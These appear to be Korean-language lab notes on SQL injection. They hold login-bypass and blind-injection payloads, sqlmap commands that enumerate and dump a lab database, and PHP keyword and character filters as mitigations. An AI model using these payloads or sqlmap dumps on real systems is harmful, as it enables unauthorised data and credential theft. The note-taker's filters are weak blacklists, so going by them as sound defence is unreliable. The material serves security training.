select id,pw from class where id='$id' and pw='$pw';
select id,pw from class where id=' 'or' 1=1' and pw=' 'or' 1=1';
- 1은 참이기에 or를 통해 참거짓만 판단하여 맨 처음에 나오는 계정으로 로그인이 되어버림
'
를 막음 [첫번째문자] = a
select hex(ascii(substring((select id from class limit 0,1),1,1))) = '65';
select hex(ascii(substring((select id from class limit 0,1),1,1))) = '61';
[다섯번째문자]
select hex(ascii(substring((select id from class limit 0,1),5,1))) <= '6d'; 0
select hex(ascii(substring((select id from class limit 0,1),5,1))) <= '6e'; 1
select unhex('69');
- 반대로 16진수를 문자로 바꿀때 : unhex
- 로그인 실습
웹페이지에 넣어본다 (로그인창) (database = sevas )
[16진수]
' or hex(ascii(substring(database(),1,1))) =73#
[10진수]
' or ascii(substring(database(),1,1))=115#
#은 주석 (--)
db 정보 수집 sqlmap -u "http://192.168.10.100/board_view.php?b_no=0" -p "b_no"
db 확인 sqlmap -u "http://192.168.10.100/board_view.php?b_no=0" -p "b_no" -dbs
table 확인 sqlmap -u "http://192.168.10.100/board_view.php?b_no=0" -p "b_no" -D sevas --tables
column 확인 sqlmap -u "http://192.168.10.100/board_view.php?b_no=0" -p "b_no" -D sevas -T class --column
값 확인 sqlmap -u "http://192.168.10.100/board_view.php?b_no=0" -p "b_no" -D sevas -T class --dump
위치: /root/.local/share/sqlmap/output/192.168.10.10
board_view.php
```jsx
$b_no=$_GET['b_no']; 아래
if(preg_match('/(union|select|from|where)/i', $b_no))
{
echo "No SQL-Injection!!!!<br>";
exit;
}
proc/login_proc.php
$id=$_POST['id'];
$pw=$_POST['pw']; 아래
$id = preg_replace("/[\r\n\s\t\'\;\"\=\-\-\#\/*]+/","", $id);
$pw = preg_replace("/[\r\n\s\t\'\;\"\=\-\-\#\/*]+/","", $pw);
if(preg_match('/(union|select|from|where)/i', $id))
{
echo "No SQL-Injection!!!!<br>";
exit;
}
```
upload보안
download보안